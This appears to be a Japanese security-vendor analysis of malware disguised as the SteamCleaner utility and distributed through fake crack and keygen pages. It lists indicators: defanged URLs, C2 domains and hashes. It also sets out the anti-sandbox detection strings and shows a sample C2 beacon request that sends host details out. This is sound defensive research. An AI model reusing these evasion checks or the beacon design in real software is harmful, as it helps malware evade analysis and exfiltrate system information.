有名ゲームプラットフォーム Steam クライアントの整理ツール「SteamCleaner」に偽装したマルウェアが多数配布されている。このマルウェアに感染すると、不正な Node.js スクリプトがユーザー PC に常駐し、C2 と定期的に通信しながら攻撃者のコマンドを実行することができる。
SteamCleaner は Steam クライアントのゴミファイルを整理してくれるオープンソースツールで、2018年9月を最後にこれ以上のアップデートが行われていないことが確認されている。

図1. Github に公開されている SteamCleaner ソース
攻撃者は、オリジナルソースコードにマルウェアを追加してビルドした後、InnoSetup インストーラーでパッキングし、有効な証明書で署名したファイルを配布した。このマルウェアが実行されると、攻撃者が追加したコードが実行され、遠隔コマンド実行が可能なマルウェアをインストールする。

図2. マルウェアの署名およびプロパティ情報
ASEC では、このマルウェアがクラック、キージェネレーターなどの違法ソフトウェアダウンロードページに偽装したウェブサイトでリダイレクションを経て GitHub リポジトリにアップロードされたマルウェアをダウンロードする方式で配布されていることを確認した。これまでこのような方式で配布されたマルウェアより検知される数が非常に多いことから、同じマルウェアを他の複数のチャンネルを通じて活発に配布しているものと推定される。

図3. Proyware マルウェアの配布ページ例
[配布 URL]
- hxxps://raw.githubusercontent[.]com/erindaude/3O/main/Setup.exe
上記の URL 以外にも、攻撃者は特定の GitHub アカウントに多数のリポジトリを作成したあと、同じタイプのマルウェアを多数アップロードしてマルウェアの配布に利用している。
マルウェアは「Setup.exe」というファイル名でダウンロードされ、実行すると C:\Program Files\SteamCleaner\ のパスにマルウェアをインストールしたあと、実行する。このときインストールされたマルウェアが SteamCleaner を改造してビルドしたマルウェアである。当該ファイルには署名が存在しない。

図4. マルウェアインストールパス
正常な SteamCleaner 実行ファイルと比較したとき、原本コードはすべて維持したまま不正な振る舞いを行うように構成されたクラスとメソッドを追加してビルドしたことが確認できる。

図5. Proxyware マルウェアの構造(左)および正常なファイル構造(右)
攻撃者が追加した不正なコードには、多数の Anti-Sandbox 機能が含まれている。システム情報の確認、ポート数の確認、WMI クエリ、ファイルおよびパスの確認、プロセスモジュールの確認、プロセスの確認、Sleep 動作の確認、等の手法を使用する。Sandbox で検知された環境では、不正な振る舞いなしに原本プログラムが実行される。

図6. マルウェア実行画面
cmdvrt64.dll kernel32.dll:wine_get_unix_file_name() SbieDll.dll cuckoomon.dll SxIn.dll netkvm.sys vioinput viofs.sys vioser.sys VBoxMouse.sys VBoxGuest.sys VBoxSF.sys VBoxVideo.sys vmmouse.sys vboxogl.dll Select * from Win32_ComputerSystem C:\Program Files\VMware C:\Program Files\oracle\virtualbox guest additions [Named Pipe] \\.\pipe\cuckoo \\.\HGFS \\.\vmci \\.\VBoxMiniRdrDN \\.\VBoxGuest \\.\pipe\VBoxMiniRdDN \\.\VBoxTrayIPC \\.\pipe\VBoxTrayIPC VGAuthService vmusrvc qemu-ga
確認対象
項目
モジュール
cmdvrt32.dll
ファイル
balloon.sys
WMI クエリ
SELECT * FROM Win32_PortConnector
パス
[Directory]
プロセス
vboxservice
表1. アンチサンドボックス手法の要約
その後、マルウェア内部に暗号化されて保存されている PowerShell コマンドを復号化して実行する。このコマンドはシステムに Node.js をインストールし、2つの C2 から異なる不正な Node.js スクリプトをダウンロードしてインストールした後、各々タスクスケジューラに登録する。登録されたタスクは、システムブート時、そして1時間ごとに自動実行される。
2つのスクリプトはどちらも基本的に C2 を通じてコマンド実行が可能なマルウェアであり、コマンドを受信するために C2 に接続する際、感染したシステム情報を送信するため、攻撃者はこの情報を参照してその後の攻撃行為を進めることができる。C2 に接続する際は以下のような構造の JSON データを /d パスに送信し、実行結果を /e パスに送信する。ヘッダーの User-Agent 項目とデータの agent_version 項目のみ違いがあり、この違いは以下の表にまとめた。
POST /d HTTP/1.1
host: aginscore.com
connection: keep-alive
Content-Type: application/json
accept: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: br, gzip, deflate
content-length: 271
{
"os_type": "Windows_NT",
"os_name": "win32",
"os_release": "10.0.22631",
"os_version": "Windows 11 Pro",
"os_hostname": "DESKTOP-xxxxxxx", //PC 名
"os_arch": "x64",
"machine_id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", //デバイス GUID
"agent_version": "17.2.7",
"session_id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" //ランダム Hex
}
1 番目の Node.js スクリプトは、C2 の応答に応じて特定の URL からファイルをダウンロードしたあと、そのファイルを実行する CMD、PowerShell などのコマンドを実行することができる。以下の表の「agent_version」項目は C2 に送信される JSON データであり、マルウェアのバージョンを管理するための識別子であると推定される。
インストールパス タスクスケジューラのパス ダウンロード URL マルウェア MD5 C2 送信データ
C:\WCM\{UUID}\UUID
Microsoft/Windows/WCM/WiFiSpeedScheduler
hxxps://rt-guard[.]com/updates/KB80164432
5ea776ca7dccac71138a6e92a4f5c934
(Downloader/JS.Proxyware.SC291258)
rt-guard[.]com
4tressx[.]com
kuchiku[.]digital
screenner[.]com
User-Agent
insomnia/2023.4.0. Windows
“agent_version”
“0.3.0”
表2. 不正なスクリプト情報の要約(1)
2 番目の Node.js スクリプトは C2 からコマンドを受け取り実行、その出力結果を再び C2 に送信する機能を担う。1 番目のスクリプトは URL を引数に受け取り、その URL からダウンロードした内容を CMD、PowerShell などの外部プロセスを使用して実行し、2 番目のスクリプトはコマンドを受け取って Node.js 自身のシェル実行(exec)関数を通じて実行するという違いがある。また、より強度の高い難読化手法が適用されており、解析を困難にしている。
|
インストールパス |
C:\WindowsSetting\{UUID}\UUID | |
|
タスクスケジューラのパス |
Microsoft/Windows/Diagnosis/RecommendedDiagnosisScheduler | |
|
ダウンロード URL |
hxxps://uuu.rqfefxsa[.]xyz/cab.js | |
|
マルウェア MD5 |
804957e501ee0443632ea675353326d4 (Trojan/JS.Proxyware.SC295915) |
|
|
C2 |
aginscore[.]com | |
|
送信データ |
User-Agent | node |
| “agent_version” | “17.2.7” | |
表3. 不正なスクリプト情報の要約(2)
分析当時、2つのスクリプトとも C2 で空のコマンドのみを応答し、最終的な振る舞いは確認できなかったが、類似したタイプのマルウェアが過去に Proxyware をインストールするコマンドを応答した履歴がある。しかし、任意のコマンド実行が可能なマルウェアであるだけに、攻撃者の意図に応じて異なるマルウェアをインストールする振る舞いも可能なため、注意が必要。
以前確認された Proxyware 配布事例に関する内容は、以下の ASEC ブログを参考にすればよい。
このように、不正な振る舞いを隠すために正常なプログラムやユーティリティに巧妙に偽装したマルウェアが持続的に配布されているため、特に注意が必要。特に、信頼できない Web ページやコミュニティからダウンロードしたファイルは実行してはいけなく、クラック、Keygen などの違法プログラムの使用は避ける必要がある。このような違法なファイルはマルウェアの配布経路としてよく利用され、システムを感染させて情報窃取、遠隔操作、追加のマルウェアインストールなど、様々な被害に繋がる可能性がある。
Categories: Uncategorized